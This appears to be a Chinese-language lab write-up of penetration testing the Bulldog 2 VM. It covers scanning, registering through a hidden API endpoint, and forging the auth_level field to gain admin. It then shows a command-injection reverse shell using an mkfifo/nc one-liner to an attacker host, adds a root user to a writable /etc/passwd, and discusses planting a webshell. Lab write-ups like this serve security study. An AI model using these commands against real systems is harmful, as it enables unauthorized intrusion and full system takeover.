在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理。
靶机:
环境:
流程:
nmap -sn 192.168.11.1/24
详细扫描其开放端口及服务信息,发现只开启了一个80端口,服务器版本为Nginx
Nginx 1.14.0,查得该版本存在解析漏洞,后续作为一个切入点
nmap -sS -sV -T4 192.168.11.19
那么自然要进行目录扫描,使用dirb,扫描到两个目录,但是没有任何有用信息
dirb http://192.168.11.19
访问目标站点,寻找突破口。发现有5个可点击的地方
3、4、5没有什么有用信息,先查看1和2
1中是一个登录界面,随意输入aaa aaa登录失败,进行抓包分析
看到传入参数为username
和password
,自然想到尝试进行sql注入探测
使用sqlmap进行sql注入探测,POST注入无果,因此将其放在cookie里再次尝试
sqlmap -u "http://192.168.11.19/users/authenticate" --cookie="username=123&password=123" --level=2
在多次尝试后,依然没有成功,注入这条线暂时以失败告终。
继续查看Register板块,发现会提示错误,意识到这里肯定有问题!
最终在大佬的经验下得知:
果不其然,检查网络文件发现,有4个JS文件,保存到本地进行代码审计
在sublime中使用 JsFormat
对源码进行整理,并想到之前页面功能包括以下两个部分:
最终在main.8b490782e52b9899e2a7.bundle.js
文件得到相关信息:搜索关键字,Login相关如下
没有有用信息,继续搜索注册,发现了一些奥秘
得到了注册用户所涉及的内容类型和传参方式,以及注册路径,继续查找
又发现了在注册用户时,需要提供的参数。
ok,现在把得到的信息整理一下:
综上,那么就可以抓包尝试进行构造注册请求,来注册用户,登录系统进一步探测了。
在登录界面,输入用户名密码均为qqq
,抓包至Repeater模块
修改请求路径为JS文件中的注册路径:/users/register
,添加其他注册必须的信息,发包
成功注册!现在尝试使用注册的账号:qqq
- qqq
进行登录,成功进入系统
右上角有Profile
配置选项,但是点击后没有任何反应。
重新登录并抓包,选定响应该请求(Response to this request),查看响应包,检查一下是否有越权漏洞
在响应包中发现auth_level
(身份等级)字段,似乎存在垂直越权
此时又想到了之前的JS文件,搜索auth_level
关键字康康有没有什么线索
发现了一个疑似admin权限的身份标识:master_admin_user
,尝试进行更改,然后提交
成功!越权得到了admin权限
点击Admin,出现一个管理界面,需要登录,但是使用任何账号密码登录都会报错
在JS文件里搜索关键字Dashboard
也没有有用信息,再一次从网上寻求帮助。
最终从大佬的WriteUp中得知,此处存在命令执行漏洞,大佬是这样发现的:
总结:
1、当目标站点使用了开源项目时,可将其保存至本地进行源码审计,或者在本地搭建一个一样的环境,更加方便测试。
2、输入框不仅有sql注入等漏洞,命令执行漏洞依然不能忽略。
OK,在得到大佬的帮助后,得知此处存在命令执行漏洞,那么直接利用即可。
象征性地进行验证一下,在密码处加入ping命令:ping 114.114.114.114
使用wireshark抓包发现,该命令已经执行,因此判断存在命令执行漏洞。
(注: 网上说可以采用http://服务器ip
,然后服务器主机监听80端口,根据是否有连接来判断是否有命令执行漏洞,但是未能成功,加入culr
后也未成功。)
查到,使用以下语句即可建立反弹shell,具体原理后续会专门写一篇各种反弹shell的原理分析。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.11 9999 >/tmp/f;
使用nc打开kali的9999端口进行监听
发送带有反弹shell命令的数据包
此时Kali上已经成功建立反弹shell
查看一些相关的信息
但是这样的shell会话使用起来不够方便,我们使用python来建立一个bash会话
python -c 'import pty;pty.spawn("/bin/bash")'
先查看一下所有用户,存在一个root用户
最下方还有两个root权限用户(为之前测试所创建)
尝试使用当前账户创建一个root权限用户。
提示权限不足,因此当前用户并非root权限,需要提权。
注:
UID为0的用户是超级用户, 就比如下方我的Kali主机的uid。
在Linux中用户分为3中:
其中,伪用户最大的作用就是在一些系统操作或一些应用服务的调用的身份。
补充了一下Linux用户的知识,现在继续,查看一下passwd文件属性
所属用户为ooot,所属组为root组,而且当前权限为读写,因此可以直接向其中写入一个root权限的用户。
注:
一般都是查找当前用户下所有的可写文件,然后寻找突破口,查询语句如下:
find / -writable -type f 2>/dev/null |grep -v "/proc/"
可以看到,当前用户下,passwd文件可以写入
(但是实际中,一般这种passwd文件普通用户可写的情况是不存在的)
开始向passwd
文件写入一个root权限的用户。
需要先生成一个hash后的密码,可以使用Linux自带的mkpasswd命令生成,密码为abcd
如果需要加盐的密码,可以使用crypt函数生成,密码为abcd,盐值为sa:
也可以在本机生成,粘贴过去即可
我直接使用没有加盐的,使用echo命令将其写入passwd文件内,注意格式:
echo 'abcd:GSA9jpckEYwa2:0:0:abcd:/root:/bin/bash' >> /etc/passwd
查看一下passwd文件内容
可以看到此时创建的abcd用户已经成功写入passwd文件,且权限为root,切换用户
OK,成功拿到root权限,提权成功,看一下flag
完成!该靶机的目标达到了,但是真正的渗透并未结束。
至此,拿到了root权限,root权限可以在Web目录进行种马,保持持续连接。
之前已经提到了,刚进入系统时的目录其实就是Web根目录:
/var/www/node/Bulldog-2-The-Reckoning
可以在此处搜索一下当前页面的关键字:dashboard
成功搜索到了相关文件,说明此处的确为网站根目录,可以进行种马
但是,在该文件夹内写入测试文件后,访问404,后来以为访问方式的问题,就索性参照该模式建立一个对应的文件夹
因为发现在站点访问文件时,都是访问文件夹名,此处可能应该称之为模块名
所以想参照这种模式,但是依然失败,估计是在配置文件中将访问写死了,唉就暂时这样吧,后续的种马搞不动了。
本次靶机渗透大致分为以下步骤:
大致流程就是这样,期间有许多不理解的地方,能完成得益于网上的众多WriteUp,感谢!
如有问题还请指出。